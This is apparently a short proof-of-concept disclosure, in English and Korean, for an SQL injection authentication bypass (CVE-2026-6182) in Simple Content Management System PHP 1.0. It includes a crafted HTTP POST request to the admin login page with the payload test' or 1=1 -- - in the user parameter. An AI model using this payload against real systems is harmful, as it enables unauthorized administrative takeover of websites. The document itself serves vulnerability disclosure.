xmyronn/cve-2026-6182-sqli-authProof-of-concept for SQL injection authentication bypass in Simple Content Management System PHP, allowing unauthenticated attackers to gain admin access via crafted user parameter.
Simple Content Management System PHP의 관리자 로그인 페이지에 SQL 인젝션 취약점이 존재합니다. user 매개변수가 SQL 쿼리에 전달되기 전에 검증되지 않아, 인증되지 않은 공격자가 인증을 우회하고 전체 관리자 접근 권한을 얻을 수 있습니다.
/web/admin/login.phpusercode-projects.org
Simple Content Management System PHP
1.0
POST /web/admin/login.php HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
user=test'+or+1%3D1+--+-&password=test&submit=Login
또는 로그인 페이지에 바로 입력합니다
test' or 1=1 -- -
인증되지 않은 원격 공격자는 자격 증명을 전혀 알지 못한 채 관리자 로그인을 완전히 우회하여 콘텐츠 추가를 포함한 관리자 패널의 전체 제어 권한을 얻을 수 있습니다.
Imad Alvi